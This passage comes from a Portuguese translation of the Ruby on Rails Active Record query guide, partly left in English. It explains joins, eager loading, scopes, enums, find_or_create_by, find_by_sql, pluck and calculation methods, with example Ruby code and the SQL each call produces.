O Active Record permite que você use os nomes de associações definidos no model como um atalho para especificar cláusulas JOIN para essas associações quando estiver usando o método joins.

Todas as seguintes irão produzir uma query com join usando INNER JOIN:

13.1.2.1 Unindo uma Associação Única

Book.joins(:reviews)

Book.joins(:reviews) Copiar

Isso produz:

SELECT books.* FROM books
INNER JOIN reviews ON reviews.book_id = books.id

SELECT books.* FROM books INNER JOIN reviews ON reviews.book_id = books.id Copiar

Ou, em Português: "retorne um objeto Book para todos os livros com avalições". Observe que você verá livros duplicados se um livro tiver mais de uma avalição. Se você quiser livros únicos, pode usar Book.joins(:reviews).distinct.

13.1.3 Unindo Múltiplas Associações

Book.joins(:author, :reviews)

Book.joins(:author, :reviews) Copiar

Isso produz:

SELECT books.* FROM books
INNER JOIN authors ON authors.id = books.author_id
INNER JOIN reviews ON reviews.book_id = books.id

SELECT books.* FROM books INNER JOIN authors ON authors.id = books.author_id INNER JOIN reviews ON reviews.book_id = books.id Copiar

Ou, em Português: "retorne todos os livros que o seu autor tem no mínimo uma avalição". Observe novamente que livros com múltiplas avalições aparecerão múltiplas vezes.

13.1.3.1 Unindo Associações Aninhadas (Nível Único)

Book.joins(reviews: :customer)

Book.joins(reviews: :customer) Copiar

Isso produz:

SELECT books.* FROM books
INNER JOIN reviews ON reviews.book_id = book.id
INNER JOIN customer ON customers.id = reviews.id

SELECT books.* FROM books INNER JOIN reviews ON reviews.book_id = book.id INNER JOIN customer ON customers.id = reviews.id Copiar

Ou, em Português: "retorne todos os livros que tem avaliações de um cliente".

13.1.3.2 Unindo Associações Aninhadas (Níveis Múltiplos)

Author.joins(books: [{reviews: { customer: :orders} }, :supplier] )

Author.joins(books: [{reviews: { customer: :orders} }, :supplier] ) Copiar

Isso produz:

SELECT * FROM authors
INNER JOIN books ON books.author_id = authors.id
INNER JOIN reviews ON reviews.book_id = books.id
INNER JOIN customers ON customers.id = reviews.customer_id
INNER JOIN orders ON orders.customer_id = customers.id
INNER JOIN suppliers ON suppliers.id = books.supplier_id

SELECT * FROM authors INNER JOIN books ON books.author_id = authors.id INNER JOIN reviews ON reviews.book_id = books.id INNER JOIN customers ON customers.id = reviews.customer_id INNER JOIN orders ON orders.customer_id = customers.id INNER JOIN suppliers ON suppliers.id = books.supplier_id Copiar

Ou, em Português: "retorne todas os autores que têm livros com avalições e tem pedidos de clientes, e com fornecedores para esses livros."

13.1.4 Especificando Condições em Tabelas Associadas

Você pode especificar condições nas tabelas associadas com condições Array e String. Hash conditions fornecem uma sintaxe especial para especificar condições para as tabelas associadas:

time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).where('orders.created_at' => time_range).distinct

time_range = (Time.now.midnight - 1.day)..Time.now.midnight Customer.joins(:orders).where('orders.created_at' => time_range).distinct Copiar

Isso encontrará todos os clientes que têm pedidos criados ontem, usando uma expressão SQL BETWEEN para comparar created_at.

Uma sintaxe alternativa e mais limpa é aninhar as condições de hash:

time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).where(orders: { created_at: time_range }).distinct

time_range = (Time.now.midnight - 1.day)..Time.now.midnight Customer.joins(:orders).where(orders: { created_at: time_range }).distinct Copiar

Para condições mais avançadas ou para reutilizar um escopo nomeado existente, Relation#merge pode ser usado. Primeiro, vamos adicionar um novo escopo nomeado ao modelo Order:

class Order < ApplicationRecord
belongs_to :customer

scope :created_in_time_range, ->(time_range) {
where(created_at: time_range)
}
end

class Order < ApplicationRecord belongs_to :customer scope :created_in_time_range, ->(time_range) { where(created_at: time_range) } end Copiar

Agora nós podemos usar Relation#merge para juntar o escopo created_in_time_range:

time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Customer.joins(:orders).merge(Order.created_in_time_range(time_range)).distinct

time_range = (Time.now.midnight - 1.day)..Time.now.midnight Customer.joins(:orders).merge(Order.created_in_time_range(time_range)).distinct Copiar

Isso encontrará todos os clientes que têm pedidos criados ontem, novamente usando uma expressão SQL BETWEEN.

13.2 left_outer_joins

Se você deseja selecionar um conjunto de registros tendo ou não registros associados, você pode usar o método left_outer_joins.

Customer.left_outer_joins(:reviews).distinct.select('customers.*, COUNT(reviews.*) AS reviews_count').group('customers.id')

Customer.left_outer_joins(:reviews).distinct.select('customers.*, COUNT(reviews.*) AS reviews_count').group('customers.id') Copiar

Que resulta em:

SELECT DISTINCT customers.*, COUNT(reviews.*) AS reviews_count FROM customers
LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id GROUP BY customers.id

SELECT DISTINCT customers.*, COUNT(reviews.*) AS reviews_count FROM customers LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id GROUP BY customers.id Copiar

Que significa: "retorne todos os clientes com suas contagens de avaliações, tenham eles avaliações ou não"

14 Associations com Eager Loading

O eager loading rápido é o mecanismo para carregar os registros associados dos objetos retornados por Model.find usando o mínimo de consultas possível.

Problema de consultas N + 1

Considere o seguinte código, que encontra 10 livros e imprime o último nome de seus autores:

books = Book.limit(10)

books.each do |book|
puts book.author.last_name
end

books = Book.limit(10) books.each do |book| puts book.author.last_name end Copiar

Este código parece bom à primeira vista. Mas o problema está no número total de consultas executadas. O código acima executa 1 (para encontrar 10 livros) + 10 (um para cada livro para carregar o autor) = 11 consultas no total.

Solução para problemas de consultas N + 1

o Active Record permite que você especifique com antecedência todas as associações que serão carregadas. Isso é possível especificando o método includes da chamada Model.find. Com o includes, o Active Record garante que todas as associações especificadas sejam carregadas usando o número mínimo possível de consultas.

Revisitando o caso acima, poderíamos reescrever Book.limit(10) para carregamento antecipado dos autores:

books = Book.includes(:author).limit(10)

books.each do |book|
puts book.author.last_name
end

books = Book.includes(:author).limit(10) books.each do |book| puts book.author.last_name end Copiar

O código acima executará apenas 2 consultas, em oposição às 11 consultas do caso anterior:

SELECT * FROM books LIMIT 10
SELECT authors.* FROM authors
WHERE (authors.id IN (1,2,3,4,5,6,7,8,9,10))

SELECT * FROM books LIMIT 10 SELECT authors.* FROM authors WHERE (authors.id IN (1,2,3,4,5,6,7,8,9,10)) Copiar

14.1 Eager Loading Multiple Associations

O Active Record permite que você carregue rapidamente qualquer número de associações com uma única chamada Model.find usando um array, hash, ou um hash aninhado de array / hash com o método includes.

14.1.1 Array de Associações Múltiplas

Customer.includes(:orders, :reviews)

Customer.includes(:orders, :reviews) Copiar

Isso carrega todos os clientes e os pedidos e avaliações associados.

14.1.2 Hash de Associações Aninhadas

Customer.includes(orders: {books: [:supplier, :author]}).find(1)

Customer.includes(orders: {books: [:supplier, :author]}).find(1) Copiar

Isso encontrará a cliente com id 1 e carregará antecipadamente todos os pedidos associados, os livros para aqueles pedidos e autores e fornecedores para cada um dos livros.

14.2 Especificando Condições em Associações Eager Loaded

Mesmo que o Active Record permita que você especifique as condições nas associações carregadas antecipadamente como joins, a maneira recomendada é usar joins ao invés.

No entanto, se você deve fazer isso, você pode usar where como faria normalmente.

Author.includes(:books).where(books: { out_of_print: true })

Author.includes(:books).where(books: { out_of_print: true }) Copiar

Isso geraria uma consulta que contém um LEFT OUTER JOIN enquanto o O método joins geraria um usando a função INNER JOIN.

SELECT authors.id AS t0_r0, ... books.updated_at AS t1_r5 FROM authors LEFT OUTER JOIN "books" ON "books"."author_id" = "authors"."id" WHERE (books.out_of_print = 1)

SELECT authors.id AS t0_r0, ... books.updated_at AS t1_r5 FROM authors LEFT OUTER JOIN "books" ON "books"."author_id" = "authors"."id" WHERE (books.out_of_print = 1) Copiar

Se não houvesse uma condição where, isso geraria o conjunto normal de duas consultas.

NOTA: Usar where assim só funcionará quando você passar um Hash. Para Fragmentos de SQL você precisa usar references para forçar tabelas unidas:

Author.includes(:books).where("books.out_of_print = true").references(:books)

Author.includes(:books).where("books.out_of_print = true").references(:books) Copiar

Se, no caso desta consulta includes, não houver livros para qualquer autor, todos os autores ainda seriam carregados. Usando joins (um INNER JOIN), as condições de junção devem corresponder, caso contrário, nenhum registro será devolvido.

Se uma associação for carregada antecipadamente como parte de uma junção, quaisquer campos de uma cláusula de seleção personalizada não estarão presentes nos models carregados. Isso ocorre porque é ambíguo se eles devem aparecer no registro do pai ou do filho.

15 Scopes

A definição do escopo permite que você especifique consultas comumente usadas, que podem ser referenciadas como chamadas de método nos objetos ou modelos associados. Com esses escopos, você pode usar todos os métodos cobertos anteriormente, como where, joins e includes. Todos os corpos de escopo devem retornar um ActiveRecord::Relation ou nil para permitir que métodos adicionais (como outros escopos) sejam chamados nele.

Para definir um escopo simples, usamos o método scope dentro da classe, passando a consulta que gostaríamos de executar quando este escopo for chamado:

class Book < ApplicationRecord
scope :out_of_print, -> { where(out_of_print: true) }
end

class Book < ApplicationRecord scope :out_of_print, -> { where(out_of_print: true) } end Copiar

Para chamar este escopo out_of_print nós podemos chama-lo tanto na classe:

irb> Book.out_of_print
=> #<ActiveRecord::Relation> # todos os livros sem tiragem

Book.out_of_print Copiar

Ou numa associação consistida de objetos Book:

irb> author = Author.first
irb> author.books.out_of_print
=> #<ActiveRecord::Relation> # todos os livros sem tiragem por autor

author = Author.first author.books.out_of_print Copiar

Os escopos também podem ser encadeados dentro dos escopos:

class Book < ApplicationRecord
scope :out_of_print, -> { where(out_of_print: true) }
scope :out_of_print_and_expensive, -> { out_of_print.where("price > 500") }
end

class Book < ApplicationRecord scope :out_of_print, -> { where(out_of_print: true) } scope :out_of_print_and_expensive, -> { out_of_print.where("price > 500") } end Copiar

15.1 Transmitindo argumentos

Seu escopo pode receber argumentos:

class Book < ApplicationRecord
scope :costs_more_than, ->(amount) { where("price > ?", amount) }
end

class Book < ApplicationRecord scope :costs_more_than, ->(amount) { where("price > ?", amount) } end Copiar

Chame o escopo como se fosse um método de classe:

irb> Book.costs_more_than(100.10)

Book.costs_more_than(100.10) Copiar

No entanto, isso é apenas a duplicação da funcionalidade que seria fornecida a você por um método de classe.

class Book < ApplicationRecord
def self.costs_more_than(amount)
where("price > ?", amount)
end
end

class Book < ApplicationRecord def self.costs_more_than(amount) where("price > ?", amount) end end Copiar

Esses métodos ainda estarão acessíveis nos objetos de associação:

irb> author.books.costs_more_than(100.10)

author.books.costs_more_than(100.10) Copiar

15.2 Usando condicionais

Seu escopo pode utilizar condicionais:

class Order < ApplicationRecord
scope :created_before, ->(time) { where("created_at < ?", time) if time.present? }
end

class Order < ApplicationRecord scope :created_before, ->(time) { where("created_at < ?", time) if time.present? } end Copiar

Como os outros exemplos, isso se comportará de maneira semelhante a um método de classe.

class Order < ApplicationRecord
def self.created_before(time)
where("created_at < ?", time) if time.present?
end
end

class Order < ApplicationRecord def self.created_before(time) where("created_at < ?", time) if time.present? end end Copiar

No entanto, há uma advertência importante: um escopo sempre retornará um objeto ActiveRecord::Relation, mesmo se a condicional for avaliada como false, enquanto um método de classe retornará nil. Isso pode causar NoMethodError ao encadear métodos de classe com condicionais, se qualquer uma das condicionais retornar false.

15.3 Aplicando um escopo padrão

Se desejarmos que um escopo seja aplicado em todas as consultas do model, podemos usar o método default_scope dentro do próprio model.

class Book < ApplicationRecord
default_scope { where(out_of_print: false) }
end

class Book < ApplicationRecord default_scope { where(out_of_print: false) } end Copiar

Quando as consultas são executadas neste model, a consulta SQL agora será semelhante a isto:

SELECT * FROM books WHERE (out_of_print = false)

SELECT * FROM books WHERE (out_of_print = false) Copiar

Se você precisa fazer coisas mais complexas com um escopo padrão, você pode alternativamente defini-lo como um método de classe:

class Book < ApplicationRecord
def self.default_scope
# Deve retornar uma ActiveRecord::Relation.
end
end

class Book < ApplicationRecord def self.default_scope # Deve retornar uma ActiveRecord::Relation. end end Copiar

O default_scope também é aplicado ao criar/construir um registro quando os argumentos do escopo são fornecidos como Hash. Não é aplicado enquanto atualizando um registro. E.g.:

class Book < ApplicationRecord
default_scope { where(out_of_print: false) }
end

class Book < ApplicationRecord default_scope { where(out_of_print: false) } end Copiar

irb> Book.new
=> #<Book id: nil, out_of_print: false>
irb> Book.unscoped.new
=> #<Book id: nil, out_of_print: nil>

Book.new Book.unscoped.new Copiar

Esteja ciente de que, quando fornecido no formato Array, os argumentos de consulta default_scope não pode ser convertido em Hash para atribuição de atributo padrão. E.g.:

class Book < ApplicationRecord
default_scope { where("out_of_print = ?", false) }
end

class Book < ApplicationRecord default_scope { where("out_of_print = ?", false) } end Copiar

irb> Book.new
=> #<Book id: nil, out_of_print: nil>

Book.new Copiar

15.4 Mesclagem de escopos

Assim como os escopos das cláusulas where são mesclados usando as condições AND.

class Book < ApplicationRecord
scope :in_print, -> { where(out_of_print: false) }
scope :out_of_print, -> { where(out_of_print: true) }

scope :recent, -> { where('year_published >= ?', Date.current.year - 50 )}
scope :old, -> { where('year_published < ?', Date.current.year - 50 )}
end

class Book < ApplicationRecord scope :in_print, -> { where(out_of_print: false) } scope :out_of_print, -> { where(out_of_print: true) } scope :recent, -> { where('year_published >= ?', Date.current.year - 50 )} scope :old, -> { where('year_published < ?', Date.current.year - 50 )} end Copiar

irb> Book.out_of_print.old
SELECT books.* FROM books WHERE books.out_of_print = 'true' AND books.year_published < 1969

Book.out_of_print.old Copiar

Podemos misturar e combinar as condições scope e where e o SQL final terá todas as condições unidas com AND.

irb> Book.in_print.where('price < 100')
SELECT books.* FROM books WHERE books.out_of_print = 'false' AND books.price < 100

Book.in_print.where('price < 100') Copiar

Se quisermos que a última cláusula where vença, então merge pode ser usado.

irb> Book.in_print.merge(Book.out_of_print)
SELECT books.* FROM books WHERE books.out_of_print = true

Book.in_print.merge(Book.out_of_print) Copiar

Uma advertência importante é que default_scope será anexado em condições scope e where.

class Book < ApplicationRecord
default_scope { where('year_published >= ?', Date.current.year - 50 )}

scope :in_print, -> { where(out_of_print: false) }
scope :out_of_print, -> { where(out_of_print: true) }
end

class Book < ApplicationRecord default_scope { where('year_published >= ?', Date.current.year - 50 )} scope :in_print, -> { where(out_of_print: false) } scope :out_of_print, -> { where(out_of_print: true) } end Copiar

irb> Book.all
SELECT books.* FROM books WHERE (year_published >= 1969)

irb> Book.in_print
SELECT books.* FROM books WHERE (year_published >= 1969) AND books.out_of_print = true

irb> Book.where('price > 50')
SELECT books.* FROM books WHERE (year_published >= 1969) AND (price > 50)

Book.all Book.in_print Book.where('price > 50') Copiar

Como você pode ver acima, o default_scope está sendo mesclado em ambos condições scope e where.

15.5 Removendo todo o escopo

Se desejarmos remover o escopo por qualquer motivo, podemos usar o método unscoped. Isto é especialmente útil se um default_scope é especificado no model e não deve ser aplicado para esta consulta particular.

Book.unscoped.load

Book.unscoped.load Copiar

Este método remove todo o escopo e fará uma consulta normal na tabela.

irb> Book.unscoped.all
SELECT books.* FROM books

irb> Book.where(out_of_print: true).unscoped.all
SELECT books.* FROM books

Book.unscoped.all Book.where(out_of_print: true).unscoped.all Copiar

unscoped também pode aceitar um bloco:

irb> Book.unscoped { Book.out_of_print }
SELECT books.* FROM books WHERE books.out_of_print

Book.unscoped { Book.out_of_print } Copiar

16 Localizadores Dinâmicos

Para cada campo (também conhecido como atributo) que você define na sua tabela, o Active Record fornece um método localizador. Se você tiver um campo chamado first_name no seu model Customer por exemplo, você terá de graça o método find_by_first_name fornecido pelo Active Record. Se você tiver o campo locked no seu model Customer, você também receberá o método find_by_locked.

Você pode especificar o ponto de exclamação (!) no final de um localizador dinâmico para que ele levante um erro ActiveRecord::RecordNotFound caso não seja retornado nenhum registro, por exemplo Customer.find_by_name!("Ryan")

Se você deseja localizar por name e locked, você pode encadear esses localizadores juntos simplesmente digitando "and" entre os campos. Por exemplo, Customer.find_by_first_name_and_locked("Ryan", true).

17 Enums

Um enum permite que você defina um Array de valores para um atributo e se refira a eles pelo nome. O valor presente no banco de dados é um inteiro que foi mapeado para um dos valores.

Declarar um enum irá:

- Criar escopos que podem ser usados para encontrar todos objetos que tem ou não um dos valores do enum

- Criar um método de instância que pode ser usado para determinar se um objeto tem um valor específicio para o enum

- Criar um método de instância que pode ser usado para mudar o valor do enum de um objeto

para todos os possíveis valores de um enum.

Por exemplo, dada essa declaração enum:

class Order < ApplicationRecord
enum status: [:shipped, :being_packaged, :complete, :cancelled]
end

class Order < ApplicationRecord enum status: [:shipped, :being_packaged, :complete, :cancelled] end Copiar

Esses scopes são criados automaticamente e podem ser usados para todos os objetos com ou sem um valor específico para status:

irb> Order.shipped
=> #<ActiveRecord::Relation> # all orders with status == :shipped
irb> Order.not_shipped
=> #<ActiveRecord::Relation> # all orders with status != :shipped

Order.shipped Order.not_shipped Copiar

Esses métodos de instância são criados automaticamente e consultam se o model tem esse valor para o enum status:

irb> order = Order.shipped.first
irb> order.shipped?
=> true
irb> order.complete?
=> false

order = Order.shipped.first order.shipped? order.complete? Copiar

Esses métodos de instância são criados automaticamente e atualizarão primeiro o valor do status para o valor nomeado e, em seguida, consultar se o status foi ou não definido com sucesso para o valor:

irb> order = Order.first
irb> order.shipped!
UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ?  [["status", 0], ["updated_at", "2019-01-24 07:13:08.524320"], ["id", 1]]
=> true

order = Order.first order.shipped! Copiar

A documentação completa sobre enums pode ser encontrada aqui.

18 Entendendo Encadeamento de Métodos

O Active Record implementa o padrão Encadeamento de Métodos (method chaining) que nos permite usar vários métodos do Active Record juntos de uma maneira simples e direta.

Você pode encadear métodos numa sentença quando o método chamado anteriormente retorna uma ActiveRecord::Relation, como all, where e joins. Métodos que retornam um único objeto (veja a seção Retornando um Único Objeto) devem estar no fim da sentença.

Há alguns exemplos abaixo. Esse guia não vai mostrar todas as possibilidades, só alguns exemplos. Quando um método Active Record é chamado, a consulta não é imediatamente gerada e enviada para o banco de dados. A query é enviada só quando você precisa dos dados. Então cada exemplo abaixo gera uma única consulta.

18.1 Buscando dados filtrados de múltiplas tabelas

Customer
.select('customers.id, customers.last_name, reviews.body')
.joins(:reviews)
.where('reviews.created_at > ?', 1.week.ago)

Customer .select('customers.id, customers.last_name, reviews.body') .joins(:reviews) .where('reviews.created_at > ?', 1.week.ago) Copiar

O resultado deve ser algo parecido com isso:

SELECT customers.id, customers.last_name, reviews.body
FROM customers
INNER JOIN reviews
ON reviews.customer_id = customers.id
WHERE (reviews.created_at > '2019-01-08')

SELECT customers.id, customers.last_name, reviews.body FROM customers INNER JOIN reviews ON reviews.customer_id = customers.id WHERE (reviews.created_at > '2019-01-08') Copiar

18.2 Buscando dados específicos de múltiplas tabelas

Book
.select('books.id, books.title, authors.first_name')
.joins(:author)
.find_by(title: 'Abstraction and Specification in Program Development')

Book .select('books.id, books.title, authors.first_name') .joins(:author) .find_by(title: 'Abstraction and Specification in Program Development') Copiar

O comando acima deve gerar:

SELECT books.id, books.title, authors.first_name
FROM books
INNER JOIN authors
ON authors.id = books.author_id
WHERE books.title = $1 [["title", "Abstraction and Specification in Program Development"]]
LIMIT 1

SELECT books.id, books.title, authors.first_name FROM books INNER JOIN authors ON authors.id = books.author_id WHERE books.title = $1 [["title", "Abstraction and Specification in Program Development"]] LIMIT 1 Copiar

Note que se uma consulta trouxer múltiplos registros, o método find_by irá retornar somente o primeiro e ignorar o restante (perceba a sentença LIMIT 1 acima).

19 Encontrando ou Construindo um Novo Objeto

É comum que você precise localizar um registro ou criá-lo se ele não existir. Você pode fazer isso com os métodos find_or_create_by e find_or_create_by!.

19.1 find_or_create_by

O método find_or_create_by verifica se existe um registro com os atributos especificados. Se não, então create é chamado. Vejamos um exemplo.

Suponha que você queira encontrar um cliente chamado 'Andy' e, se não houver nenhum, crie um. Você pode fazer isso executando:

irb> Customer.find_or_create_by(first_name: 'Andy')
=> #<Customer id: 5, first_name: "Andy", last_name: nil, title: nil, visits: 0, orders_count: nil, lock_version: 0, created_at: "2019-01-17 07:06:45", updated_at: "2019-01-17 07:06:45">

Customer.find_or_create_by(first_name: 'Andy') Copiar

O SQL gerado por esse método parece com isso:

SELECT * FROM customers WHERE (customers.first_name = 'Andy') LIMIT 1
BEGIN
INSERT INTO customers (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
COMMIT

SELECT * FROM customers WHERE (customers.first_name = 'Andy') LIMIT 1 BEGIN INSERT INTO customers (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57') COMMIT Copiar

find_or_create_by retorna o registro que já existe ou o novo registro. Em nosso caso, ainda não tínhamos um cliente chamado Andy, então o registro é criado e retornado.

O novo registro pode não ser salvo no banco de dados; isso depende se as validações foram aprovadas ou não (assim como create).

Suponha que queremos definir o atributo 'bloqueado (locked)' para false se estamos criando um novo registro, mas não queremos incluí-lo na consulta. Então queremos encontrar o cliente chamado "Andy", ou se esse cliente não existir, crie um cliente chamado "Andy" que não esteja bloqueado.

Podemos conseguir isso de duas maneiras. A primeira é usar create_with:

Customer.create_with(locked: false).find_or_create_by(first_name: 'Andy')

Customer.create_with(locked: false).find_or_create_by(first_name: 'Andy') Copiar

A segunda maneira é usar um bloco:

Customer.find_or_create_by(first_name: 'Andy') do |c|
c.locked = false
end

Customer.find_or_create_by(first_name: 'Andy') do |c| c.locked = false end Copiar

O bloco só será executado se o cliente estiver sendo criado. A segunda vez que rodarmos este código, o todo o bloco será ignorado.

19.2 find_or_create_by!

Você também pode usar find_or_create_by! para disparar uma exceção se o novo registro for inválido. As validações não são abordadas neste guia, mas vamos supor por um momento que você adiciona temporariamente

validates :orders_count, presence: true

validates :orders_count, presence: true Copiar

ao seu model Customer. Se você tentar criar um novo Customer sem passar orders_count, o registro será inválido e uma exceção será disparada:

irb> Customer.find_or_create_by!(first_name: 'Andy')
ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank

Customer.find_or_create_by!(first_name: 'Andy') Copiar

19.3 find_or_initialize_by

O método find_or_initialize_by funcionará como o find_or_create_by mas chamará new ao invés de create. Isso significa que uma nova instância do model será criada na memória, mas não será salva no banco de dados. Continuando com o exemplo find_or_create_by, agora queremos o cliente chamado 'Nick':

irb> nina = Customer.find_or_initialize_by(first_name: 'Nina')
=> #<Customer id: nil, first_name: "Nina", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">

irb> nina.persisted?
=> false

irb> nina.new_record?
=> true

nina = Customer.find_or_initialize_by(first_name: 'Nina') nina.persisted? nina.new_record? Copiar

Como o objeto ainda não está armazenado no banco de dados, o SQL gerado tem a seguinte aparência:

SELECT * FROM customers WHERE (customers.first_name = 'Nina') LIMIT 1

SELECT * FROM customers WHERE (customers.first_name = 'Nina') LIMIT 1 Copiar

Quando você quiser salvar no banco, apenas chame save:

irb> nina.save
=> true

nina.save Copiar

20 Finding by SQL

If you'd like to use your own SQL to find records in a table you can use find_by_sql. The find_by_sql method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:

irb> Customer.find_by_sql("SELECT * FROM customers INNER JOIN orders ON customers.id = orders.customer_id ORDER BY customers.created_at desc")
=> [#<Customer id: 1, first_name: "Lucas" ...>, #<Customer id: 2, first_name: "Jan" ...>, ...]

Customer.find_by_sql("SELECT * FROM customers INNER JOIN orders ON customers.id = orders.customer_id ORDER BY customers.created_at desc") Copiar

find_by_sql provides you with a simple way of making custom calls to the database and retrieving instantiated objects.

20.1 select_all

find_by_sql has a close relative called connection.select_all. select_all will retrieve objects from the database using custom SQL just like find_by_sql but will not instantiate them. This method will return an instance of ActiveRecord::Result class and calling to_a on this object would return you an array of hashes where each hash indicates a record.

irb> Customer.connection.select_all("SELECT first_name, created_at FROM customers WHERE id = '1'").to_hash
=> [{"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}]

Customer.connection.select_all("SELECT first_name, created_at FROM customers WHERE id = '1'").to_hash Copiar

20.2 pluck

pluck can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as an argument and returns an array of values of the specified columns with the corresponding data type.

irb> Book.where(out_of_print: true).pluck(:id)
SELECT id FROM books WHERE out_of_print = false
=> [1, 2, 3]

irb> Order.distinct.pluck(:status)
SELECT DISTINCT status FROM orders
=> ["shipped", "being_packed", "cancelled"]

irb> Customer.pluck(:id, :first_name)
SELECT customers.id, customers.name FROM customers
=> [[1, "David"], [2, "Fran"], [3, "Jose"]]

Book.where(out_of_print: true).pluck(:id) Order.distinct.pluck(:status) Customer.pluck(:id, :first_name) Copiar

pluck makes it possible to replace code like:

Customer.select(:id).map { |c| c.id }
# or
Customer.select(:id).map(&:id)
# or
Customer.select(:id, :name).map { |c| [c.id, c.first_name] }

Customer.select(:id).map { |c| c.id } # or Customer.select(:id).map(&:id) # or Customer.select(:id, :name).map { |c| [c.id, c.first_name] } Copiar

with:

Customer.pluck(:id)
# or
Customer.pluck(:id, :first_name)

Customer.pluck(:id) # or Customer.pluck(:id, :first_name) Copiar

Unlike select, pluck directly converts a database result into a Ruby Array, without constructing ActiveRecord objects. This can mean better performance for a large or frequently-run query. However, any model method overrides will not be available. For example:

class Customer < ApplicationRecord
def name
"I am #{first_name}"
end
end

class Customer < ApplicationRecord def name "I am #{first_name}" end end Copiar

irb> Customer.select(:first_name).map &:name
=> ["I am David", "I am Jeremy", "I am Jose"]

irb> Customer.pluck(:first_name)
=> ["David", "Jeremy", "Jose"]

Customer.select(:first_name).map &:name Customer.pluck(:first_name) Copiar

You are not limited to querying fields from a single table, you can query multiple tables as well.

irb> Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title")

Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title") Copiar

Furthermore, unlike select and other Relation scopes, pluck triggers an immediate query, and thus cannot be chained with any further scopes, although it can work with scopes already constructed earlier:

irb> Customer.pluck(:first_name).limit(1)
NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>

irb> Customer.limit(1).pluck(:first_name)
=> ["David"]

Customer.pluck(:first_name).limit(1) Customer.limit(1).pluck(:first_name) Copiar

You should also know that using pluck will trigger eager loading if the relation object contains include values, even if the eager loading is not necessary for the query. For example:

irb> assoc = Customer.includes(:reviews)
irb> assoc.pluck(:id)
SELECT "customers"."id" FROM "customers" LEFT OUTER JOIN "reviews" ON "reviews"."id" = "customers"."review_id"

assoc = Customer.includes(:reviews) assoc.pluck(:id) Copiar

One way to avoid this is to unscope the includes:

irb> assoc.unscope(:includes).pluck(:id)

assoc.unscope(:includes).pluck(:id) Copiar

20.3 ids

ids can be used to pluck all the IDs for the relation using the table's primary key.

irb> Customer.ids
SELECT id FROM customers

Customer.ids Copiar

class Customer < ApplicationRecord
self.primary_key = "customer_id"
end

class Customer < ApplicationRecord self.primary_key = "customer_id" end Copiar

irb> Customer.ids
SELECT customer_id FROM customers

Customer.ids Copiar

21 Existência de Objetos

Se você simplesmente quer checar a existência do objeto, existe um método chamado exists?. Este método irá consultar o banco de dados usando a mesma consulta que find, mas ao invés de retornar um objeto ou uma coleção de objetos, irá retornar true ou false.

Customer.exists?(1)

Customer.exists?(1) Copiar

O método exists? também assume valores múltiplos, mas o problema é que retornará true se algum desses registros existirem.

Customer.exists?(id: [1,2,3])
# ou
Customer.exists?(name: ['Jane', 'Sergei'])

Customer.exists?(id: [1,2,3]) # ou Customer.exists?(name: ['Jane', 'Sergei']) Copiar

É até possível usar exists? sem algum argumento em um model ou relação.

Customer.where(first_name: 'Ryan').exists?

Customer.where(first_name: 'Ryan').exists? Copiar

O código acima retorna true se existir ao menos um cliente com o first_name 'Ryan' e false caso não exista.

Customer.exists?

Customer.exists? Copiar

O código acima retorna false se a tabela customers estiver vazia e true caso não esteja.

Você também pode usar any? e many? para verificar a existência de um model ou relação. many? irá usar o count do SQL para determinar se o item existe.

# via a model
Order.any?   # => SELECT 1 AS one FROM orders
Order.many?  # => SELECT COUNT(*) FROM orders

# via um scope nomeado
Order.shipped.any?   # => SELECT 1 AS one FROM orders WHERE orders.status = 0
Order.shipped.many?  # => SELECT COUNT(*) FROM orders WHERE orders.status = 0

# via uma relação
Book.where(out_of_print: true).any?
Book.where(out_of_print: true).many?

# via uma associação
Customer.first.orders.any?
Customer.first.orders.many?

# via a model Order.any? # => SELECT 1 AS one FROM orders Order.many? # => SELECT COUNT(*) FROM orders # via um scope nomeado Order.shipped.any? # => SELECT 1 AS one FROM orders WHERE orders.status = 0 Order.shipped.many? # => SELECT COUNT(*) FROM orders WHERE orders.status = 0 # via uma relação Book.where(out_of_print: true).any? Book.where(out_of_print: true).many? # via uma associação Customer.first.orders.any? Customer.first.orders.many? Copiar

22 Cálculos

Essa seção usa count como exemplo de método nessa introdução, mas as opções descritas se aplicam para todas as subseções.

Todos os métodos de cálculo funcionam diretamente em um model:

irb> Customer.count
SELECT COUNT(*) FROM customers

Customer.count Copiar

Ou em uma relação:

irb> Customer.where(first_name: 'Ryan').count
SELECT COUNT(*) FROM customers WHERE (first_name = 'Ryan')

Customer.where(first_name: 'Ryan').count Copiar

Você também pode utilizar vários métodos de busca em uma relação para fazer cálculos complexos:

irb> Customer.includes("orders").where(first_name: 'Ryan', orders: { status: 'shipped' }).count

Customer.includes("orders").where(first_name: 'Ryan', orders: { status: 'shipped' }).count Copiar

O que vai executar:

SELECT COUNT(DISTINCT customers.id) FROM customers
LEFT OUTER JOIN orders ON orders.customer_id = customers.id
WHERE (customers.first_name = 'Ryan' AND orders.status = 0)

SELECT COUNT(DISTINCT customers.id) FROM customers LEFT OUTER JOIN orders ON orders.customer_id = customers.id WHERE (customers.first_name = 'Ryan' AND orders.status = 0) Copiar

assumindo que a classe Order tenha um enum status: [ :shipped, :being_packed, :cancelled ].

22.1 Contar (count)

Se você quiser saber quantos registros estão na tabela do seu model você pode chamar Customer.count e isso vai retornar um número. Se você quiser ser mais específico e encontrar todos os clientes que tem idade presente no banco de dados, você pode utilizar Customer.count(:age)

